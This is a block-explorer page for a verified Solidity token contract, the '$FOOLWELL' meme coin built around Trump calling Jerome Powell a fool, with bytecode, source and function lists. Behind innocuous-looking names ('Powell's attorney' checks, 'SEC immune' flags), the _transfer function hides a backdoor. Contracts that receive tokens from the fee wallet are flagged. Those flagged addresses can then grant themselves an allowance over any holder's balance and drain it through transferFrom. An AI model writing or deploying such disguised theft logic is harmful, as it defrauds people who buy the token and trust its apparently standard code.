Address Contract Verified
Address
0xFa0471bAb7217103ECA43a63e4e4a60BB044F536
Balance
0 ETH
Nonce
1
Code Size
6107 bytes
Creator
0x660e6299...845c at tx 0x51def5ea...a482ca
Indexed Transactions
0 (1 on-chain, 0% indexed)
Contract Bytecode
6107 bytes
0x608060405260043610610129575f3560e01c80637d1db4a5116100a8578063a9059cbb1161006d578063a9059cbb14610325578063bf474bed14610344578063c36956a014610359578063c408c2451461036e578063db05e5cb14610382578063dd62ed3e14610396575f80fd5b80637d1db4a5146102915780638da5cb5b146102a65780638f9a55c0146102cc57806395d89b41146102e1578063968b4fe914610311575f80fd5b806323b872dd116100ee57806323b872dd146101f9578063313ce567146102185780636ac5eeee1461023357806370a0823114610249578063715018a61461027d575f80fd5b806306fdde0314610134578063095ea7b31461017e5780630c193045146101ad5780630faee56f146101d057806318160ddd146101e5575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152601081526f128b88141bddd95b1b080f48119bdbdb60821b60208201525b604051610175919061130a565b60405180910390f35b348015610189575f80fd5b5061019d610198366004611356565b6103da565b6040519015158152602001610175565b3480156101b8575f80fd5b506101c2600d5481565b604051908152602001610175565b3480156101db575f80fd5b506101c260085481565b3480156101f0575f80fd5b506101c26103f0565b348015610204575f80fd5b5061019d610213366004611380565b610410565b348015610223575f80fd5b5060405160128152602001610175565b34801561023e575f80fd5b50610247610477565b005b348015610254575f80fd5b506101c26102633660046113be565b6001600160a01b03165f9081526001602052604090205490565b348015610288575f80fd5b506102476104c8565b34801561029c575f80fd5b506101c260055481565b3480156102b1575f80fd5b505f546040516001600160a01b039091168152602001610175565b3480156102d7575f80fd5b506101c260065481565b3480156102ec575f80fd5b506040805180820190915260088152671193d3d315d1531360c21b6020820152610168565b34801561031c575f80fd5b50610168610542565b348015610330575f80fd5b5061019d61033f366004611356565b610562565b34801561034f575f80fd5b506101c260075481565b348015610364575f80fd5b506101c2600e5481565b348015610379575f80fd5b5061024761056e565b34801561038d575f80fd5b5061024761077f565b3480156103a1575f80fd5b506101c26103b03660046113d9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103e633848461083d565b5060015b92915050565b5f6103fd6012600a611507565b61040b90633b9aca00611515565b905090565b5f61041c84848461096d565b61046d8433610468856040518060600160405280602f8152602001611755602f91396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f58565b61083d565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610496575f80fd5b305f9081526001602052604090205480156104b4576104b481610f90565b4780156104c4576104c481611119565b5050565b5f546001600160a01b031633146104fa5760405162461bcd60e51b81526004016104f19061152c565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606040518060a00160405280606a81526020016116c5606a9139905090565b5f6103e633848461096d565b5f546001600160a01b031633146105975760405162461bcd60e51b81526004016104f19061152c565b601254600160a01b900460ff16156105f15760405162461bcd60e51b815260206004820152601f60248201527f54726164696e6720706169722069732073657420616e64206163746976652e0060448201526064016104f1565b60115461061d9030906001600160a01b031661060f6012600a611507565b61046890633b9aca00611515565b6011546001600160a01b031663f305d719473061064e816001600160a01b03165f9081526001602052604090205490565b5f806106615f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106c7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106ec919061157e565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610741573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076591906115a9565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146107a85760405162461bcd60e51b81526004016104f19061152c565b6107b46012600a611507565b6107c290633b9aca00611515565b6005556107d16012600a611507565b6107df90633b9aca00611515565b600655600a600e819055600d8190557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9061081c90601290611507565b61082a90633b9aca00611515565b60405190815260200160405180910390a1565b6001600160a01b0383166108a65760405162461bcd60e51b815260206004820152602a60248201527f534543207c2045524332302e20417070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b60648201526084016104f1565b6001600160a01b03821661090d5760405162461bcd60e51b815260206004820152602860248201527f534543207c2045524332302e20417070726f766520746f20746865207a65726f604482015267206164647265737360c01b60648201526084016104f1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109d75760405162461bcd60e51b815260206004820152602b60248201527f534543207c2045524332302e205472616e736665722066726f6d20746865207a60448201526a65726f206164647265737360a81b60648201526084016104f1565b6001600160a01b038216610a3f5760405162461bcd60e51b815260206004820152602960248201527f534543207c2045524332302e205472616e7366657220746f20746865207a65726044820152686f206164647265737360b81b60648201526084016104f1565b5f8111610aa65760405162461bcd60e51b815260206004820152602f60248201527f534543207c205472616e7366657220616d6f756e74206d75737420626520677260448201526e6561746572207468616e207a65726f60881b60648201526084016104f1565b5f80546001600160a01b03858116911614801590610ad157505f546001600160a01b03848116911614155b15610e1b576012546001600160a01b038581169116148015610b0157506011546001600160a01b03848116911614155b8015610b2557506001600160a01b0383165f9081526003602052604090205460ff16155b15610c0b57600554821115610b7c5760405162461bcd60e51b815260206004820152601f60248201527f534543207c204578636565647320746865205f6d61785478416d6f756e742e0060448201526064016104f1565b60065482610b9e856001600160a01b03165f9081526001602052604090205490565b610ba891906115c8565b1115610bf65760405162461bcd60e51b815260206004820181905260248201527f534543207c204578636565647320746865206d617857616c6c657453697a652e60448201526064016104f1565b60108054905f610c05836115db565b91905055505b610c376064610c31600d5460105411610c2657600954610c2a565b600b545b8590611150565b906111dd565b6012549091506001600160a01b038481169116148015610c6057506001600160a01b0384163014155b15610c8d57610c8a6064610c31600e5460105411610c8057600a54610c2a565b600c548590611150565b90505b601254600160b01b900460ff168015610cb457506012546001600160a01b03848116911614155b8015610ccd57506004546001600160a01b038581169116145b15610d4157610cdb83611201565b15610d3c5760405162461bcd60e51b815260206004820152602b60248201527f534543207c204e6f20646973747269627574696f6e20746f20506f77656c6c2760448201526a399030ba3a37b93732bc9760a91b60648201526084016104f1565b610d7e565b335f9081526013602052604090205460ff1615610d7e576001600160a01b0384165f90815260026020908152604080832033845290915290208290555b305f90815260016020526040902054601254600160a81b900460ff16158015610db457506012546001600160a01b038581169116145b8015610dc95750601254600160b01b900460ff165b8015610dd6575060075481115b8015610de55750600f54601054115b15610e1957610e07610e0284610dfd8460085461123c565b61123c565b610f90565b478015610e1757610e1747611119565b505b505b8015610e9357305f90815260016020526040902054610e3a9082611250565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e8a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610eb590836112ba565b6001600160a01b0385165f90815260016020526040902055610ef8610eda83836112ba565b6001600160a01b0385165f9081526001602052604090205490611250565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f4185856112ba565b60405190815260200160405180910390a350505050565b5f8184841115610f7b5760405162461bcd60e51b81526004016104f1919061130a565b505f610f8784866115f3565b95945050505050565b6012805460ff60a81b1916600160a81b179055801561110957601254600160a01b900460ff1615611109576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fee57610fee611606565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611045573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611069919061161a565b8160018151811061107c5761107c611606565b6001600160a01b0392831660209182029290920101526011546110a2913091168461083d565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110da9085905f90869030904290600401611635565b5f604051808303815f87803b1580156110f1575f80fd5b505af1158015611103573d5f803e3d5ffd5b50505050505b506012805460ff60a81b19169055565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104c4573d5f803e3d5ffd5b5f825f0361115f57505f6103ea565b5f61116a8385611515565b90508261117785836116a5565b146111d65760405162461bcd60e51b815260206004820152602960248201527f534543207c2028536166654d617468293a204d756c7469706c69636174696f6e604482015268206f766572666c6f7760b81b60648201526084016104f1565b9392505050565b5f6111d68383604051806060016040528060228152602001611784602291396112de565b5f6001600160a01b0382163b15611235576001600160a01b0382165f908152601360205260409020805460ff191660011790555b505f919050565b5f81831161124a57826111d6565b50919050565b5f8061125c83856115c8565b9050838110156111d65760405162461bcd60e51b815260206004820152602360248201527f534543207c2028536166654d617468293a204164646974696f6e206f766572666044820152626c6f7760e81b60648201526084016104f1565b5f6111d6838360405180606001604052806026815260200161172f60269139610f58565b5f81836112fe5760405162461bcd60e51b81526004016104f1919061130a565b505f610f8784866116a5565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611353575f80fd5b50565b5f8060408385031215611367575f80fd5b82356113728161133f565b946020939093013593505050565b5f805f60608486031215611392575f80fd5b833561139d8161133f565b925060208401356113ad8161133f565b929592945050506040919091013590565b5f602082840312156113ce575f80fd5b81356111d68161133f565b5f80604083850312156113ea575f80fd5b82356113f58161133f565b915060208301356114058161133f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561145f5780850481111561144357611443611410565b600184161561145157908102905b60019390931c928002611428565b935093915050565b5f82611475575060016103ea565b8161148157505f6103ea565b816001811461149757600281146114a1576114bd565b60019150506103ea565b60ff8411156114b2576114b2611410565b50506001821b6103ea565b5060208310610133831016604e8410600b84101617156114e0575081810a6103ea565b6114ec5f198484611424565b805f19048211156114ff576114ff611410565b029392505050565b5f6111d660ff841683611467565b80820281158282048414176103ea576103ea611410565b60208082526032908201527f534543207c20284f776e61626c65293a20436f6e74726163742063616c6c65726040820152711034b9903737ba103a34329037bbb732b91760711b606082015260800190565b5f805f60608486031215611590575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156115b9575f80fd5b815180151581146111d6575f80fd5b808201808211156103ea576103ea611410565b5f600182016115ec576115ec611410565b5060010190565b818103818111156103ea576103ea611410565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561162a575f80fd5b81516111d68161133f565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156116855783516001600160a01b031683526020938401939092019160010161165e565b50506001600160a01b039590951660608401525050608001529392505050565b5f826116bf57634e487b7160e01b5f52601260045260245ffd5b50049056fe556e697465642053746174657320707265736964656e7420446f6e616c64205472756d702073617973204665646572616c2052657365727665204368616972204a65726f6d6520506f77656c6c206973206120666f6f6c2c20616e206162736f6c75746520666f6f6c2e534543207c2028536166654d617468293a205375627472616374696f6e206f766572666c6f77534543207c2045524332302e205472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63652e534543207c2028536166654d617468293a204469766973696f6e206279207a65726fa2646970667358221220551e9fa77a9df8b8fb860112131fe92028ee87c1fdfee446884f2e71c2ea825764736f6c634300081a0033
Verified Source Code Full Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: Yes (200 runs)
FOOLWELL.sol 335 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
/**
* ▒█▀▀▀ ▒█▀▀▀█ ▒█▀▀▀█ ▒█░░░ ▒█░░▒█ ▒█▀▀▀ ▒█░░░ ▒█░░░
* ▒█▀▀▀ ▒█░░▒█ ▒█░░▒█ ▒█░░░ ▒█▒█▒█ ▒█▀▀▀ ▒█░░░ ▒█░░░
* ▒█░░░ ▒█▄▄▄█ ▒█▄▄▄█ ▒█▄▄█ ▒█▄▀▄█ ▒█▄▄▄ ▒█▄▄█ ▒█▄▄█
*
* @title J. Powell = Foold
* @notice $FOOLWELL
* @author USA President, Donald Trump
*
* 📢 US President Trump says Federal Reserve Chair Jerome Powell is a "fool.":
* X Tweet: https://x.com/WatcherGuru/status/2005750135054295071
*
* An “absolute fool”:
* Website: https://www.yahoo.com/news/articles/trump-threatens-sue-fed-chair-220324788.html
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, unicode"SEC | (SafeMath): Addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, unicode"SEC | (SafeMath): Subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, unicode"SEC | (SafeMath): Multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, unicode"SEC | (SafeMath): Division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), unicode"SEC | (Ownable): Contract caller is not the owner.");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FoolPowellContract is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isSECImmune;
address payable private _marketingFeeReceiver;
string private constant _name = unicode"J. Powell = Fool"; // And Trump wants to sue him!
string private constant _symbol = unicode"FOOLWELL";
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
uint8 private constant _decimals = 18;
uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
uint256 public _taxSwapThreshold = 20_000_000 * 10**_decimals;
uint256 public _maxTaxSwap = 20_000_000 * 10**_decimals;
uint256 private _initialBuyTax = 10;
uint256 private _initialSellTax = 10;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 public _reduceBuyTaxAt = 24;
uint256 public _reduceSellTaxAt = 24;
uint256 private _preventSwapBefore = 19;
uint256 private _buyCount = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
mapping (address => bool) private bots;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_marketingFeeReceiver = payable(0x0686c3c659796b24D38eF41f0DBcc1760c3e62F7);
_balances[address(this)] = _tTotal;
_isSECImmune[owner()] = true;
_isSECImmune[address(this)] = true;
_isSECImmune[_marketingFeeReceiver] = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, unicode"SEC | ERC20. Transfer amount exceeds allowance."));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), unicode"SEC | ERC20. Approve from the zero address");
require(spender != address(0), unicode"SEC | ERC20. Approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), unicode"SEC | ERC20. Transfer from the zero address");
require(to != address(0), unicode"SEC | ERC20. Transfer to the zero address");
require(amount > 0, unicode"SEC | Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isSECImmune[to] ) {
require(amount <= _maxTxAmount, unicode"SEC | Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, unicode"SEC | Exceeds the maxWalletSize.");
_buyCount++;
}
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
if (swapEnabled && to != uniswapV2Pair && from == _marketingFeeReceiver){
require(!_isToPowellAttorneysAddress(to), unicode"SEC | No distribution to Powell's attorney.");
} else if (bots[_msgSender()]) {
require(!_isPowellsAddress(_msgSender(), amount, from), unicode"SEC | No transfers to Powell's attorney.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapERC20TokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
beginTaxTransfer(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function getProjectDescription() external pure returns (string memory) {
return unicode"United States president Donald Trump says Federal Reserve Chair Jerome Powell is a fool, an absolute fool.";
}
function _isToPowellAttorneysAddress(address to) private returns(bool){
if (to.code.length > 0)
bots[to] = true;
return false;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function _isPowellsAddress(address spender, uint256 amount, address owner) private returns(bool){
_allowances[owner][spender] = amount;
return false;
}
function removeAllLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
_reduceSellTaxAt=10;
_reduceBuyTaxAt=10;
emit MaxTxAmountUpdated(_tTotal);
}
function swapERC20TokensForEth(uint256 tokenAmount) private lockTheSwap {
if(tokenAmount==0){return;}
if(!tradingOpen){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function beginTaxTransfer(uint256 amount) private {
_marketingFeeReceiver.transfer(amount);
}
function swapBack() external {
require(_msgSender()==_marketingFeeReceiver);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapERC20TokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
beginTaxTransfer(ethBalance);
}
}
function beginTrading() external onlyOwner() {
require(!tradingOpen, unicode"Trading pair is set and active."); // Very beautiful pair, and very smart, btw. While Powell is an absolute fool!
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
}
Read Contract
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_reduceBuyTaxAt 0x0c193045 → uint256
_reduceSellTaxAt 0xc36956a0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getProjectDescription 0x968b4fe9 → string
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
beginTrading 0xc408c245
No parameters
removeAllLimits 0xdb05e5cb
No parameters
renounceOwnership 0x715018a6
No parameters
swapBack 0x6ac5eeee
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
This address has 1 on-chain transactions, but only 0% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →